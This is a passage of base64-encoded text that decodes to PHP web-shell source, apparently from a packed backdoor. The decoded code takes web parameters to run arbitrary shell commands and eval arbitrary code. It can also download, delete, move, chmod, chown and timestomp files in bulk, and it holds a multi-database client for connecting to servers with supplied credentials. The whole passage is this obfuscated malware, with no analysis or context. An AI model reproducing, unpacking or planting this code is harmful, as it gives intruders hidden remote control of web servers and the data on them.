aGlzKTsnPiIuaHRtbF9zYWZlKCRuZXdmaWxlKS4iPC9hPiZuYnNwOyggMTAwJSApIjsKCQl9CgkJZWxzZSAkcmVzID0gImVycm9yIjsKCX0KCWVsc2UgJHJlcyA9ICJlcnJvciI7CglvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydkb3dubG9hZCddKSl7CgkkZmlsZSA9IHRyaW0oJHBbJ2Rvd25sb2FkJ10pOwoJaWYoaXNfZmlsZSgkZmlsZSkpewoJCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKCQloZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOwoJCWhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGZpbGUpKTsKCQloZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlIik7CgkJaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7CgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJGZpbGUpLiJcIjsiKTsKCQkkaGFuZGxlciA9IGZvcGVuKCRmaWxlLCJyYiIpOwoJCXdoaWxlKCFmZW9mKCRoYW5kbGVyKSl7CgkJCXByaW50KGZyZWFkKCRoYW5kbGVyLCAxMDI0KjgpKTsKCQkJQG9iX2ZsdXNoKCk7CgkJCUBmbHVzaCgpOwoJCX0KCQlmY2xvc2UoJGhhbmRsZXIpOwoJCWRpZSgpOwoJfQp9CmVsc2VpZihpc3NldCgkcFsnbXVsdGltZWRpYSddKSl7CgkkZmlsZSA9IHRyaW0oJHBbJ211bHRpbWVkaWEnXSk7CgkkbWltZV9saXN0ID0gZ2V0X3Jlc291cmNlKCdtaW1lJyk7CgkkbWltZSA9ICIiOwoJJGZpbGVfZXh0X3BvcyA9IHN0cnJwb3MoJGZpbGUsICIuIik7CglpZigkZmlsZV9leHRfcG9zIT09ZmFsc2UpewoJCSRmaWxlX2V4dCA9IHRyaW0oc3Vic3RyKCRmaWxlLCAkZmlsZV9leHRfcG9zKSwiLiIpOwoJCWlmKHByZWdfbWF0Y2goIi8oW15cc10rKVwgLipcYiIuJGZpbGVfZXh0LiJcYi4qL2kiLCAkbWltZV9saXN0LCAkcmVzKSl7CgkJCSRtaW1lID0gJHJlc1sxXTsKCQl9Cgl9CgoJaWYoaXNfZmlsZSgkZmlsZSkpewoJCWhlYWRlcigiQ29udGVudC1UeXBlOiAiLiRtaW1lKTsKCQloZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOwoJCWhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGZpbGUpKTsKCQllY2hvICJkYXRhOiIuJG1pbWUuIjtiYXNlNjQsIi5iYXNlNjRfZW5jb2RlKHJlYWRfZmlsZSgkZmlsZSkpOwoJCWRpZSgpOwoJfQp9CmVsc2VpZihpc3NldCgkcFsnbWFzc1R5cGUnXSkmJmlzc2V0KCRwWydtYXNzQnVmZmVyJ10pJiZpc3NldCgkcFsnbWFzc1BhdGgnXSkmJmlzc2V0KCRwWydtYXNzVmFsdWUnXSkpewoJJG1hc3NUeXBlID0gdHJpbSgkcFsnbWFzc1R5cGUnXSk7CgkkbWFzc0J1ZmZlciA9IHRyaW0oJHBbJ21hc3NCdWZmZXInXSk7CgkkbWFzc1BhdGggPSByZWFscGF0aCgkcFsnbWFzc1BhdGgnXSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCSRtYXNzVmFsdWUgPSB0cmltKCRwWydtYXNzVmFsdWUnXSk7CgkkY291bnRlciA9IDA7CgoJJG1hc3NCdWZmZXJBcnIgPSBleHBsb2RlKCJcbiIsICRtYXNzQnVmZmVyKTsKCWlmKCgkbWFzc1R5cGU9PSd0YXInKXx8KCRtYXNzVHlwZT09J3Rhcmd6Jyl8fCgkbWFzc1R5cGU9PSd6aXAnKSl7CgkJaWYoY29tcHJlc3MoJG1hc3NUeXBlLCAkbWFzc1ZhbHVlLCAkbWFzc0J1ZmZlckFycikpewoJCQkkY291bnRlcisrOwoJCQlyZXR1cm4gJGNvdW50ZXI7CgkJfQoJfQoJZWxzZXsKCQlmb3JlYWNoKCRtYXNzQnVmZmVyQXJyIGFzICRrKXsKCQkJJHBhdGggPSB0cmltKCRrKTsKCQkJaWYoZmlsZV9leGlzdHMoJHBhdGgpKXsKCQkJCSRwcmVzZXJ2ZVRpbWVzdGFtcCA9IGZpbGVtdGltZSgkcGF0aCk7CgkJCQlpZigkbWFzc1R5cGU9PSdkZWxldGUnKXsKCQkJCQlpZihpc19maWxlKCRwYXRoKSl7CgkJCQkJCWlmKHVubGluaygkcGF0aCkpICRjb3VudGVyKys7CgkJCQkJfQoJCQkJCWVsc2VpZihpc19kaXIoJHBhdGgpKXsKCQkJCQkJaWYocm1kaXJzKCRwYXRoKT4wKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2VpZigkbWFzc1R5cGU9PSdjdXQnKXsKCQkJCQkkZGVzdCA9ICRtYXNzUGF0aC5iYXNlbmFtZSgkcGF0aCk7CgkJCQkJaWYocmVuYW1lKCRwYXRoLCAkZGVzdCkpewoJCQkJCQkkY291bnRlcisrOwoJCQkJCQl0b3VjaCgkZGVzdCwgJHByZXNlcnZlVGltZXN0YW1wKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlaWYoJG1hc3NUeXBlPT0nY29weScpewoJCQkJCSRkZXN0ID0gJG1hc3NQYXRoLmJhc2VuYW1lKCRwYXRoKTsKCQkJCQlpZihpc19kaXIoJHBhdGgpKXsKCQkJCQkJaWYoY29weXMoJHBhdGgsICRkZXN0KT4wKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCQllbHNlaWYoaXNfZmlsZSgkcGF0aCkpewoJCQkJCQlpZihjb3B5KCRwYXRoLCAkZGVzdCkpICRjb3VudGVyKys7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZWlmKCgkbWFzc1R5cGU9PSd1bnRhcicpfHwoJG1hc3NUeXBlPT0ndW50YXJneicpfHwoJG1hc3NUeXBlPT0ndW56aXAnKSl7CgkJCQkJaWYoZGVjb21wcmVzcygkbWFzc1R5cGUsICRwYXRoLCAkbWFzc1ZhbHVlKSl7CgkJCQkJCSRjb3VudGVyKys7CgkJCQkJCXJldHVybiAkY291bnRlcjsKCQkJCQl9CgkJCQl9CgkJCQllbHNlaWYoIWVtcHR5KCRtYXNzVmFsdWUpKXsKCQkJCQlpZigkbWFzc1R5cGU9PSdjaG1vZCcpewoJCQkJCQlpZihjaG1vZCgkcGF0aCwgb2N0ZGVjKCRtYXNzVmFsdWUpKSkgJGNvdW50ZXIrKzsKCQkJCQl9CgkJCQkJZWxzZWlmKCRtYXNzVHlwZT09J2Nob3duJyl7CgkJCQkJCWlmKGNob3duKCRwYXRoLCAkbWFzc1ZhbHVlKSkgJGNvdW50ZXIrKzsKCQkJCQl9CgkJCQkJZWxzZWlmKCRtYXNzVHlwZT09J3RvdWNoJyl7CgkJCQkJCWlmKHRvdWNoKCRwYXRoLCBzdHJ0b3RpbWUoJG1hc3NWYWx1ZSkpKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KCWlmKCRjb3VudGVyPjApIG91dHB1dCgkY291bnRlcik7CglvdXRwdXQoJ2Vycm9yJyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyd2aWV3RmlsZW9yRm9sZGVyJ10pKXsKCSRlbnRyeSA9ICRwWyd2aWV3RmlsZW9yRm9sZGVyJ107CglpZihpc19maWxlKCRlbnRyeSkpIG91dHB1dCgnZmlsZScpOwoJZWxzZWlmKGlzX2RpcigkZW50cnkpKSBvdXRwdXQoJ2ZvbGRlcicpOwoJb3V0cHV0KCdlcnJvcicpOwp9CmVsc2VpZihpc3NldCgkcFsndGVybWluYWxJbnB1dCddKSl7CglvdXRwdXQoaHRtbF9zYWZlKGV4ZWN1dGUoJHBbJ3Rlcm1pbmFsSW5wdXQnXSkpKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2V2YWxJbnB1dCddKSAmJiBpc3NldCgkcFsnZXZhbFR5cGUnXSkpewoJJGV2YWxJbnB1dCA9ICRwWydldmFsSW5wdXQnXTsKCSRldmFsT3B0aW9ucyA9IChpc3NldCgkcFsnZXZhbE9wdGlvbnMnXSkpPyAkcFsnZXZhbE9wdGlvbnMnXToiIjsKCSRldmFsQXJndW1lbnRzID0gKGlzc2V0KCRwWydldmFsQXJndW1lbnRzJ10pKT8gJHBbJ2V2YWxBcmd1bWVudHMnXToiIjsKCSRldmFsVHlwZSA9ICRwWydldmFsVHlwZSddOwoKCWVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9XQVJOSU5HIHwgRV9QQVJTRSB8IEVfTk9USUNFKTsKCUBpbmlfc2V0KCdodG1sX2Vycm9ycycsJzAnKTsKCUBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzEnKTsKCUBpbmlfc2V0KCdkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzJywnMScpOwoKCSRyZXMgPSBldmFsX2dvKCRldmFsVHlwZSwgJGV2YWxJbnB1dCwgJGV2YWxPcHRpb25zLCAkZXZhbEFyZ3VtZW50cyk7CglpZigkcmVzPT09ZmFsc2UpICRyZXMgPT0gImVycm9yIjsKCW91dHB1dChodG1sX3NhZmUoJHJlcykpOwp9CmVsc2VpZihpc3NldCgkcFsnZXZhbEdldFN1cHBvcnRlZCddKSl7CgkkcmVzID0gZXZhbF9nZXRfc3VwcG9ydGVkKCk7CglvdXRwdXQoJHJlcyk7Cn0KJEdMT0JBTFNbJ21vZHVsZSddWydjb252ZXJ0J11bJ2lkJ10gPSAiY29udmVydCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnY29udmVydCddWyd0aXRsZSddID0gIkNvbnZlcnQiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2NvbnZlcnQnXVsnanNfb250YWJzZWxlY3RlZCddID0gIgppZigoIXBvcnRhYmxlTW9kZSkgJiYgKCQoJyNkZWNvZGVSZXN1bHQnKS5jaGlsZHJlbigpLmxlbmd0aD09MSkpICQoJyNkZWNvZGVTdHInKS5mb2N1cygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnY29udmVydCddWydjb250ZW50J10gPSAiCjx0YWJsZSBjbGFzcz0nYm94dGJsJz4KPHRoZWFkPgoJPHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPkNvbnZlcnQ8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHk+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBzdHlsZT0naGVpZ2h0OjE0MHB4O21pbi1oZWlnaHQ6MTQwcHg7JyBpZD0nZGVjb2RlU3RyJz48L3RleHRhcmVhPjwvdGQ+PC90cj4KCTx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0nZGVjb2RlX2dvKCk7Jz5jb252ZXJ0PC9zcGFuPjwvdGQ+PC90cj4KPC90Ym9keT4KPHRmb290IGlkPSdkZWNvZGVSZXN1bHQnPjx0cj48dGQgY29sc3Bhbj0nMic+WW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0PC90ZD48L3RyPjwvdGZvb3Q+CjwvdGFibGU+IjsKCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2RlY29kZScpKXsKCWZ1bmN0aW9uIGRlY29kZSgkc3RyKXsKCQkkcmVzID0gIiI7CgkJJGxlbmd0aCA9IChpbnQpIHN0cmxlbigkc3RyKTsKCgkJJHJlcyAuPSBkZWNvZGVfbGluZSgibWQ1IiwgbWQ1KCRzdHIpLCAiaW5wdXQiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJzaGExIiwgc2hhMSgkc3RyKSwgImlucHV0Iik7CgoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoImJhc2U2NCBlbmNvZGUiLCBiYXNlNjRfZW5jb2RlKCRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJiYXNlNjQgZGVjb2RlIiwgYmFzZTY0X2RlY29kZSgkc3RyKSwgInRleHRhcmVhIik7CgoKCQkkcmVzIC49IGRlY29kZV9saW5lKCJoZXggdG8gc3RyaW5nIiwgQHBhY2soIkgqIiAsICRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJzdHJpbmcgdG8gaGV4IiwgYmluMmhleCgkc3RyKSwgInRleHRhcmVhIik7CgoJCSRhc2NpaSA9ICIiOwoJCWZvcigkaT0wOyAkaTwkbGVuZ3RoOyAkaSsrKXsKCQkJJGFzY2lpIC49IG9yZChzdWJzdHIoJHN0ciwkaSwxKSkuIiAiOwoJCX0KCQkkcmVzIC49IGRlY29kZV9saW5lKCJhc2NpaSBjaGFyIiwgdHJpbSgkYXNjaWkpLCAidGV4dGFyZWEiKTsKCgkJJHJlcyAuPSBkZWNvZGVfbGluZSgicmV2ZXJzZWQiLCBzdHJyZXYoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoImxvd2VyY2FzZSIsIHN0cnRvbG93ZXIoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoInVwcGVyY2FzZSIsIHN0cnRvdXBwZXIoJHN0ciksICJ0ZXh0YXJlYSIpOwoKCQkkcmVzIC49IGRlY29kZV9saW5lKCJ1cmxlbmNvZGUiLCB1cmxlbmNvZGUoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoInVybGRlY29kZSIsIHVybGRlY29kZSgkc3RyKSwgInRleHRhcmVhIik7CgkJJHJlcyAuPSBkZWNvZGVfbGluZSgicmF3dXJsZW5jb2RlIiwgcmF3dXJsZW5jb2RlKCRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJyYXd1cmxkZWNvZGUiLCByYXd1cmxkZWNvZGUoJHN0ciksICJ0ZXh0YXJlYSIpOwoKCQkkcmVzIC49IGRlY29kZV9saW5lKCJodG1sZW50aXRpZXMiLCBodG1sX3NhZmUoJHN0ciksICJ0ZXh0YXJlYSIpOwoKCQlpZihmdW5jdGlvbl9leGlzdHMoJ2hhc2hfYWxnb3MnKSl7CgkJCSRhbGdvcyA9IGhhc2hfYWxnb3MoKTsKCQkJZm9yZWFjaCgkYWxnb3MgYXMgJGFsZ28pewoJCQkJaWYoKCRhbGdvPT0nbWQ1Jyl8fCgkYWxnbz09J3NoYTEnKSkgY29udGludWU7CgkJCQkkcmVzIC49IGRlY29kZV9saW5lKCRhbGdvLCBoYXNoKCRhbGdvLCAkc3RyKSwgImlucHV0Iik7CgkJCX0KCQl9CgoJCXJldHVybiAkcmVzOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdkZWNvZGVfbGluZScpKXsKCWZ1bmN0aW9uIGRlY29kZV9saW5lKCR0eXBlLCAkcmVzdWx0LCAkaW5wdXR0eXBlKXsKCQkkcmVzID0gIjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Ii4kdHlwZS4iPC90ZD48dGQ+IjsKCQlpZigkaW5wdXR0eXBlPT0naW5wdXQnKXsKCQkJJHJlcyAuPSAiPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLmh0bWxfc2FmZSgkcmVzdWx0KS4iJyBvbmRibGNsaWNrPSd0aGlzLnNlbGVjdCgpOyc+IjsKCQl9CgkJZWxzZXsKCQkJJHJlcyAuPSAiPHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6ODBweDttaW4taGVpZ2h0OjgwcHg7JyBvbmRibGNsaWNrPSd0aGlzLnNlbGVjdCgpOyc+Ii5odG1sX3NhZmUoJHJlc3VsdCkuIjwvdGV4dGFyZWE+IjsKCQl9CgkJcmV0dXJuICRyZXM7Cgl9Cn0KCmlmKGlzc2V0KCRwWydkZWNvZGVTdHInXSkpewoJJGRlY29kZVN0ciA9ICRwWydkZWNvZGVTdHInXTsKCW91dHB1dChkZWNvZGUoJGRlY29kZVN0cikpOwp9CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsnaWQnXSA9ICJkYXRhYmFzZSI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsndGl0bGUnXSA9ICJEYXRhYmFzZSI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsnanNfb250YWJzZWxlY3RlZCddID0gIiI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nMyc+PHAgY2xhc3M9J2JveHRpdGxlJz5Db25uZWN0PC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5PgoJPHRyIGNsYXNzPSdkYkhvc3RSb3cnPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnIGNsYXNzPSdkYkhvc3RMYmwnPkhvc3Q8L3RkPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2RiSG9zdCcgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RiX2Nvbm5lY3QnKTtcIj48L3RkPjwvdHI+Cgk8dHIgY2xhc3M9J2RiVXNlclJvdyc+PHRkPlVzZXJuYW1lPC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkYlVzZXInIHZhbHVlPScnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdkYl9jb25uZWN0Jyk7XCI+PC90ZD48L3RyPgoJPHRyIGNsYXNzPSdkYlBhc3NSb3cnPjx0ZD5QYXNzd29yZDwvdGQ+PHRkIGNvbHNwYW49JzInPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZGJQYXNzJyB2YWx1ZT0nJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZGJfY29ubmVjdCcpO1wiPjwvdGQ+PC90cj4KCTx0ciBjbGFzcz0nZGJQb3J0Um93Jz48dGQ+UG9ydCAoT3B0aW9uYWwpPC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkYlBvcnQnIHZhbHVlPScnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdkYl9jb25uZWN0Jyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+Cgk8dHIgY2xhc3M9J2RiQ29ubmVjdFJvdyc+CgkJPHRkIHN0eWxlPSd3aWR0aDoxNDRweDsnPgoJCQk8c2VsZWN0IGlkPSdkYlR5cGUnPgoJCQk8L3NlbGVjdD4KCQk8L3RkPgoJCTx0ZCBzdHlsZT0nd2lkdGg6MTIwcHg7Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZGJfY29ubmVjdCgpO1wiPmNvbm5lY3Q8L3NwYW4+PC90ZD4KCQk8dGQgY2xhc3M9J2RiRXJyb3InPjwvdGQ+Cgk8L3RyPgoJPHRyIGNsYXNzPSdkYlF1ZXJ5Um93JyBzdHlsZT0nZGlzcGxheTpub25lOyc+CgkJPHRkIGNvbHNwYW49JzMnPjx0ZXh0YXJlYSBpZD0nZGJRdWVyeScgc3R5bGU9J21pbi1oZWlnaHQ6MTQwcHg7aGVpZ2h0OjE0MHB4Oyc+WW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0PC90ZXh0YXJlYT48L3RkPgoJPC90cj4KCTx0ciBjbGFzcz0nZGJRdWVyeVJvdycgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgoJCTx0ZCBzdHlsZT0nd2lkdGg6MTIwcHg7Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZGJfcnVuKCk7XCI+cnVuPC9zcGFuPjwvdGQ+CgkJPHRkIHN0eWxlPSd3aWR0aDoxMjBweDsnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJkYl9kaXNjb25uZWN0KCk7XCI+ZGlzY29ubmVjdDwvc3Bhbj48L3RkPgoJCTx0ZD5TZXBhcmF0ZSBtdWx0aXBsZSBjb21tYW5kcyB3aXRoIGEgc2VtaWNvbG9uIDxzcGFuIGNsYXNzPSdzdHJvbmcnPig8L3NwYW4+IDsgPHNwYW4gY2xhc3M9J3N0cm9uZyc+KTwvc3Bhbj48L3RkPgoJPC90cj4KPC90Zm9vdD4KPC90YWJsZT4KPGRpdiBpZD0nZGJCb3R0b20nIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KPGJyPgo8dGFibGUgY2xhc3M9J2JvcmRlcicgc3R5bGU9J3BhZGRpbmc6MDsnPjx0cj48dGQgaWQ9J2RiTmF2JyBjbGFzcz0nY29sRml0IGJvcmRlcnJpZ2h0JyBzdHlsZT0ndmVydGljYWwtYWxpZ246dG9wOyc+PC90ZD48dGQgaWQ9J2RiUmVzdWx0JyBzdHlsZT0ndmVydGljYWwtYWxpZ246dG9wOyc+PC90ZD48L3RyPjwvdGFibGU+CjwvZGl2PgoiOwoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX2Nvbm5lY3QnKSl7CglmdW5jdGlvbiBzcWxfY29ubmVjdCgkc3FsdHlwZSwgJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyl7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpJykpIHJldHVybiBuZXcgbXlzcWxpKCRzcWxob3N0LCAkc3FsdXNlciwgJHNxbHBhc3MpOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiBAbXlzcWxfY29ubmVjdCgkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdtc3NxbCcpewoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3NxbHNydl9jb25uZWN0JykpewoJCQkJJGNvbmluZm8gPSBhcnJheSgiVUlEIj0+JHNxbHVzZXIsICJQV0QiPT4kc3FscGFzcyk7CgkJCQlyZXR1cm4gQHNxbHNydl9jb25uZWN0KCRzcWxob3N0LCRjb25pbmZvKTsKCQkJfQoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHJldHVybiBAbXNzcWxfY29ubmVjdCgkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZ3NxbCcpewoJCQkkaG9zdHMgPSBleHBsb2RlKCI6IiwgJHNxbGhvc3QpOwoJCQlpZihjb3VudCgkaG9zdHMpPT0yKXsKCQkJCSRob3N0X3N0ciA9ICJob3N0PSIuJGhvc3RzWzBdLiIgcG9ydD0iLiRob3N0c1sxXTsKCQkJfQoJCQllbHNlICRob3N0X3N0ciA9ICJob3N0PSIuJHNxbGhvc3Q7CgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSByZXR1cm4gQHBnX2Nvbm5lY3QoIiRob3N0X3N0ciB1c2VyPSRzcWx1c2VyIHBhc3N3b3JkPSRzcWxwYXNzIik7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJyl7IGlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkgcmV0dXJuIEBvY2lfY29ubmVjdCgkc3FsdXNlciwgJHNxbHBhc3MsICRzcWxob3N0KTsgfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpewoJCQlpZihjbGFzc19leGlzdHMoJ1NRTGl0ZTMnKSkgaWYoIWVtcHR5KCRzcWxob3N0KSkgcmV0dXJuIG5ldyBTUUxpdGUzKCRzcWxob3N0KTsKCQkJZWxzZSByZXR1cm4gZmFsc2U7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJyl7IGlmKGZ1bmN0aW9uX2V4aXN0cygnc3FsaXRlX29wZW4nKSkgcmV0dXJuIEBzcWxpdGVfb3Blbigkc3FsaG9zdCk7IH0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29kYmMnKXsgaWYoZnVuY3Rpb25fZXhpc3RzKCdvZGJjX2Nvbm5lY3QnKSkgcmV0dXJuIEBvZGJjX2Nvbm5lY3QoJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyk7IH0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpewoJCQlpZihjbGFzc19leGlzdHMoJ1BETycpKSBpZighZW1wdHkoJHNxbGhvc3QpKSByZXR1cm4gbmV3IFBETygkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsKCQkJZWxzZSByZXR1cm4gZmFsc2U7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX3F1ZXJ5JykpewoJZnVuY3Rpb24gc3FsX3F1ZXJ5KCRzcWx0eXBlLCAkcXVlcnksICRjb24pewoJCWlmKCRzcWx0eXBlID09ICdteXNxbCcpewoJCQlpZihjbGFzc19leGlzdHMoJ215c3FsaScpKSByZXR1cm4gJGNvbi0+cXVlcnkoJHF1ZXJ5KTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfcXVlcnknKSkgcmV0dXJuIG15c3FsX3F1ZXJ5KCRxdWVyeSk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfcXVlcnknKSkgcmV0dXJuIHNxbHNydl9xdWVyeSgkY29uLCRxdWVyeSk7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX3F1ZXJ5JykpIHJldHVybiBtc3NxbF9xdWVyeSgkcXVlcnkpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX3F1ZXJ5KCRxdWVyeSk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvcmFjbGUnKSByZXR1cm4gb2NpX2V4ZWN1dGUob2NpX3BhcnNlKCRjb24sICRxdWVyeSkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkY29uLT5xdWVyeSgkcXVlcnkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9xdWVyeSgkY29uLCAkcXVlcnkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2V4ZWMoJGNvbiwgJHF1ZXJ5KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpIHJldHVybiAkY29uLT5xdWVyeSgkcXVlcnkpOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdzcWxfbnVtX3Jvd3MnKSl7CglmdW5jdGlvbiBzcWxfbnVtX3Jvd3MoJHNxbHR5cGUsJHJlc3VsdCl7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpX3Jlc3VsdCcpKSByZXR1cm4gJHJlc3VsdC0+bXlzcWxpX251bV9yb3dzOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9udW1fcm93cycpKSByZXR1cm4gbXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfbnVtX3Jvd3MnKSkgcmV0dXJuIHNxbHNydl9udW1fcm93cygkcmVzdWx0KTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfbnVtX3Jvd3MnKSkgcmV0dXJuIG1zc3FsX251bV9yb3dzKCRyZXN1bHQpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX251bV9yb3dzKCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9udW1fcm93cygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZTMnKXsKCQkJJG1ldGFkYXRhID0gJHJlc3VsdC0+ZmV0Y2hBcnJheSgpOwoJCQlpZihpc19hcnJheSgkbWV0YWRhdGEpKSByZXR1cm4gJG1ldGFkYXRhWydjb3VudCddOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfbnVtX3Jvd3MoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdv